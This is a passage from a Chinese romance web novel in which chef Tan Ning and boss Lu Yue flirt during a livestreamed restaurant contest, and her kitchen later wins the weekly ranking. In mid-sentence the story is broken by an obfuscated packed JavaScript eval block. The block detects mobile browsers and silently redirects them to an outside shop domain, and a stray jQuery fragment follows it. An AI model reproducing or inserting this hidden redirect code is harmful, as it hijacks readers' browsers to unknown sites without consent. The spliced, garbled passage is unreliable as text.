陆跃打开门,一个火球突然朝自己冲了过来。
他毫无防备,被火球撞得往后退了好几步,肩膀被按住用力摇晃着,晃得他脑浆都被摇匀了。
陆跃刚要生气发火,低头一看,原来是她。
谭宁仰着脑袋看向他,眼底的星星一览无余。
“陆跃!我是第一名哎!厉不厉害!”
清脆的声音萦绕在耳边,像咬下一口青苹果,酸酸甜甜的。
“嗯?”
没有得到他的回应,谭宁歪了歪脑袋,露出困惑的神情。
“有这么惊讶吗?说话呀!”
那团火球顺着谭宁的手跑到陆跃的嗓子眼里,他稍稍偏头,离她又近了几分。
“有摄像头,你先放开我。”
谭宁看着陆跃的嘴唇在离自己咫尺的地方张开又闭上,缓慢的消化他刚刚说的话……
她猛地回头一看,摄像大哥从云台后弹出脑袋,朝她露出八颗白牙。
“啊!”
谭宁像见了鬼一样,突然间如梦初醒。她飞速收回搭在他肩上的手,无措地在身后交握着。
“我我我……我先走了。”
“等——”
不等陆跃说出第二个等,谭宁已经转过身,充耳不闻地往外走。背在身后的那只手着急的晃来晃去,就好像在对他说:快别说了!还嫌不够乱吗?
陆跃懒散地靠在门边捏了捏鼻梁,无声失笑。
谭宁一路风驰电掣地回到自己的厨房,砰的一下关上门,呼呼的风声和噪音都被隔绝在外。
她背靠着门缓缓蹲下,两手捧着自己红得发烫的脸颊。
明明关上了门,但刚刚那道略带沙哑的低沉嗓音好像从缝隙里钻了进来,贴在她耳边。
“啊啊啊啊!”
谭宁克制着呐喊的声音,心却像被一层又一层的海浪拍打着,温热的海水包裹着她,耳边是轻柔的海风。
怎么办怎么办怎么办?刚刚那一幕肯定都被摄像机拍下来了!都怪自己兴奋过了头,竟然忘记还在拍摄这件事!这下好了,丢人丢大发了!
该死的摄像头!Damn!
谭宁在原地自暴自弃了一会儿,把头发揉成一团鸡窝,突然心念一动。
她从口袋翻出手机,犹豫了两秒后点开直播,现在播放的是厨房出餐的画面,然而弹幕仍在激烈讨论着上一幕。
【啊啊啊啊天呐!!!没看错的话刚刚谭主厨是脸红了吗?】
【震撼美味啊!摄像大哥MVP!】
【下意识的动作骗不了人,感觉要是没有镜头的话谭主厨就要抱住陆总了!】
【沃德法!不愧我每天守在直播间,呜呜呜我们宁跃终于放开政策开饭啦!】
【我将反复欣赏谭主厨奔向陆总的那一幕,神级镜头有感觉吗?简直像在拍电影!两张伟大的脸howpay!】
……
谭宁不停地往下翻阅着,笑声轻易从齿缝漏了出来。从前那些尴尬到让她脚趾抠地的文字此刻突然像是被加上了一层梦幻滤镜,她掉进了万花筒中。
她看到最新的一条,上面写着:家人们看到陆总性感的手了吗?感觉一个手掌就能握住谭主厨的腰,这二位真的太有张力了,天生就是爸爸妈妈的程度!
陆跃的手吗?
谭宁用尖齿摩擦着下唇,她想到陆跃用手处理食材时的样子。用力时手背上的青筋总会格外明显,关节处还透着芭乐一般的粉红色。
这只手如果放在腰上,指尖陷入腰窝……
咚咚咚!
后背传来一阵急促的敲门声,谭宁身躯猛的一震,整个人慌乱得像是犯错被抓到的小孩。
她下意识捂住脸,缩在角落里当乌龟。
这时手机消息提示铃响起,谭宁打开一看,非常简短的两个字。
陆跃那张色彩鲜明的脸出现在窗外,他指了指门,又说了一遍。
开门。
嘴、肩膀、腰、手……谭宁看着这些零散的部位,他们散发着如同糖果般诱人的光泽,她艰难地挪开视线,最后才将目光放到他脸上。电流从脚底升至头顶,一个词从大脑飞速闪过。
完了。
“你躲在里面干嘛呢?半天不开门。”
门打开一个口子,陆跃从外面挤了进来,新鲜的空气和他身上的气息也随之涌入。
陆跃看着锁在角落的谭宁,挑了挑眉:“你真拿了第一名?做的什么菜?”
明明是很普通的问句,在狭小的空间里却显得如此暧昧不清。每一个上扬的尾音就像是一把钩子,在暗夜里反射出金属的危险光泽。
“嗯。”谭宁靠着冰凉的墙壁,稳了稳心神:“蟹肉千层配蟹黄酱。”
“哦?”陆跃顶了顶腮,嘴角牵出一抹笑:“这么巧?心有灵犀啊。”
什么鬼啊……
谭宁一刻也受不住了,他说的每一句话每一个动作都像是为她专门设计的诱引,就挂着头顶等着她上钩。
“你能不能好好说话?”谭宁愤懑地瞪了他一眼。她真正想说的是你能不能老实一点,不要在我面前晃来晃去的。
“嘿?”陆跃抱着胳膊细细打量着她,捕捉到她眉间的不耐和愠怒:“姑奶奶,我那句话又惹您不高兴了?我发现你这人情绪有够不稳定的,刚刚是谁高兴得要命,跑过来抓着我:陆跃~我是第一名哎~~厉不厉……”
“啊!!!”
谭宁上前狠狠踩了他一脚,疼得陆跃瞬间弯下腰来。在抬头时,他眼里只有分明的埋怨和仇恨。
这才对。
谭宁愣了愣,而后吐出舌尖,对他做鬼脸,就像过去一样。
只是她的声音已经不似过去那样有底气:“都说了别惹我!”
说完谭宁便打开了那张厚重的铁门,像是终于迎来解脱般的跑了出去。
从店里出来,她沿着海棠街一直往前跑,跑了好久好久,直到来到江边,她猛的停下脚步,撑在膝盖上大口大口喘着粗气。
刚安静没多久,那些不堪诉说的画面又像鬼一样追了上来,低沉喑哑的磁性嗓音又开始在耳边萦绕。
“啊啊啊啊!!!”
谭宁冲着江水大喊,企图用噪音把它赶跑。下一秒,她咬着牙抽动疲软的双腿,像把离弦的箭飞奔出去。
“啊啊啊啊!陆跃!狗东西!赶快从老娘的脑子里滚出去!!!”
-
周一,第二周的营业额比拼结果通过直播公布出来。得到消息的一瞬间,三七店长打开了店里的电视,七喜连忙跑到厨房叫谭宁。
“谭宁姐!快来看直播!要公布结果了!”
“哦!好!”谭宁摘下手套,拖动酸痛的双腿跑了出去。
餐厅的电视机前已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582131|203498||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经围了一群人,今晚要开会,所以大家都在。
谭宁停在离电视两张桌子的位置,捏着手心焦急地等待着。
只见屏幕突然开始10秒的倒计时,配合着咚咚的鼓点,把观众的紧张和求知欲拉到最高点。
在这样的倒数中,十秒钟显得格外漫长。店员们纷纷作出祈祷的手势,口中默念着那个名字。
最后三秒……
3……2……1!
唰的一声,三组的排名展示出来:
第一名:辣椒碰头
第二名:半斗米
第三名:屿夏
看清以后,店内瞬间响起轰烈的尖叫和欢呼声,店员们冲上来把谭宁围在中间。
“啊啊啊啊啊!谭宁姐!我们是第一名!”
“谭主厨你太棒了!真是我们店的福星啊!”
“换菜单那天就知道我们赢定了!牛X啊!!”
……
谭宁被簇拥着,和大家抱做一团。兴奋过后,有人问我们拿了第一名,是不是该好好庆祝一下。
“必须的!”
“好啊好啊!”
“大家想怎么庆祝?”
“哦?”大家对视一眼,不约而同地脱口而出:“去隔壁酒吧不醉不归!”
“不醉不归!”
“最好让陆总买单嘿嘿嘿……”
说曹操曹操到,标志性的清嗓声从头顶飘过,再结合他总习惯拖长的步调,都知道是陆总来了。
七喜率先站出来喊他:“陆总!咱们店得了第一名,我们在讨论要不要去隔壁酒吧庆祝一下!”
陆跃踱步过来,并不十分意外的样子。他眼神扫过人群,在中间停住,金黄色的脑袋埋在深处,只露出一个毛茸茸的发顶。
他挑了挑眉,却没立刻表态。
见他不语,几个人对上眼神,把正中央的谭宁推了出去,指着她说:“谭主厨也想去!”
谭宁只感觉后背被几只手猛地推了一下,然后身体就这样不受控制地飞了出去,一抬头,陆跃长长的身影覆盖在她身上。
灯光打在他漆黑的瞳孔,谭宁心尖一颤,这些天好不容易压制住的画面又被这一眼点燃了引线,火光炸开。
“是吗?”
明明是问大家,陆跃的眼神却紧紧粘在谭宁身上。大家看破不说破,纷纷捧场说是是是。
“那……”陆跃抛出诱饵,等待着鱼上钩。
“不用了,我不想去。”
“啊?”
气氛在谭宁冷漠的拒绝后急转直下,众人发出一道不解而困惑的疑问,眼睁睁的看着谭宁穿过人群,一言不发地回到了厨房。
厨房门砰的一声关上,十几双眼睛纷纷转向陆跃,仿佛在问:你又把她怎么了?
陆跃迟钝地眨了眨眼,随手摊开手耸了耸肩,表示他也不知。
“唉……”
压抑的叹息过后,人群四散而开。七喜上前问陆跃还请不请客。
陆跃瞅了她一眼,没好气的说你看我长得像冤大头吗?让shake给你调杯喝喝得了。
“切!”七喜当即翻了个白眼:“男人!果然就是这么善变!”
求人的时候笑得有多灿烂,被拒绝以后嘴脸就有多难看。她当即转身,嘴里还在笑声吐槽:“抠死了!难怪谭宁姐不喜欢你!活该单身一辈子……”